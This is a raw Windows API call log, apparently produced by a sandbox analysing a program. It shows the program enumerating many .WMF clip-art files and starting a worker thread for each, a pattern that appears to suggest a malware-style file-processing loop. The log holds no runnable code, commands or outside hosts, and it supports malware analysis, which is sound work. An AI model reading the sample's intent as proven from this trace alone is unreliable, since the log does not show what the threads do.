	[0275.273] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573e300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573e300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL01041_.WMF", cAlternateFileName="")) returned 1
	[0275.273] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25ac
	[0275.275] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.276] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd76600, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7cd76600, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL01394_.WMF", cAlternateFileName="")) returned 1
	[0275.276] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b0
	[0275.290] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.291] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f2b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f2b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL01395_.WMF", cAlternateFileName="")) returned 1
	[0275.291] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b4
	[0275.293] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.294] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL01565_.WMF", cAlternateFileName="")) returned 1
	[0275.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b8
	[0275.296] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.296] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6e400, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8a6e400, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00017_.WMF", cAlternateFileName="")) returned 1
	[0275.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25bc
	[0275.298] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.298] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc775b700, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc775b700, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x32f6, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00018_.WMF", cAlternateFileName="")) returned 1
	[0275.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c0
	[0275.301] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.301] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1
	[0275.301] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c4
	[0275.303] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.304] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35bab100, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35bab100, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x4754, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00157_.WMF", cAlternateFileName="")) returned 1
	[0275.304] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c8
	[0275.306] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.306] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e388d00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e388d00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00159_.WMF", cAlternateFileName="")) returned 1
	[0275.306] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25cc
	[0275.308] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.309] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3815d700, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3815d700, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1
	[0275.309] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25d0
	[0275.311] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.311] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b37d00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35b37d00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00168_.WMF", cAlternateFileName="")) returned 1
	[0275.311] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25d4
	[0275.314] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.314] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34825000, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34825000, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2242, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00170_.WMF", cAlternateFileName="")) returned 1
	[0275.314] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25d8
	[0275.316] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.317] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af8e800, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af8e800, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00177_.WMF", cAlternateFileName="")) returned 1
	[0275.317] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25dc
	[0275.617] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.618] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x283c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00183_.WMF", cAlternateFileName="")) returned 1
	[0275.618] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260c
	[0275.620] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.621] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ad00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a0ad00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x514c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00190_.WMF", cAlternateFileName="")) returned 1
	[0275.621] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2610
	[0275.623] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.623] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2090, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00191_.WMF", cAlternateFileName="")) returned 1
	[0275.623] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2614
	[0275.625] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.626] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00192_.WMF", cAlternateFileName="")) returned 1
	[0275.626] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2618
	[0275.628] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.628] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0d2600, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f0d2600, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x27c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00194_.WMF", cAlternateFileName="")) returned 1
	[0275.628] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x261c
	[0275.631] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.631] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00197_.WMF", cAlternateFileName="")) returned 1
	[0275.631] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2620
	[0275.633] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.634] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19174500, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19174500, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00199_.WMF", cAlternateFileName="")) returned 1
	[0275.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2624
	[0275.636] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.637] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b4eb00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b4eb00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2926, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00200_.WMF", cAlternateFileName="")) returned 1
	[0275.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2628
	[0275.640] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.640] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd90f00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd90f00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00208_.WMF", cAlternateFileName="")) returned 1
	[0275.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x262c
	[0275.642] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.643] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b20100, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b20100, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x4f72, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00212_.WMF", cAlternateFileName="")) returned 1
	[0275.645] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2630
	[0275.647] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.647] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f74, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00221_.WMF", cAlternateFileName="")) returned 1
	[0275.647] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2634
	[0275.649] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.650] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00222_.WMF", cAlternateFileName="")) returned 1
	[0275.650] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2638
	[0275.873] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.873] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3642, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00223_.WMF", cAlternateFileName="")) returned 1
	[0275.874] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x263c
	[0275.875] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.876] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf553ff00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf553ff00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x476e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00257_.WMF", cAlternateFileName="")) returned 1
	[0275.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2640
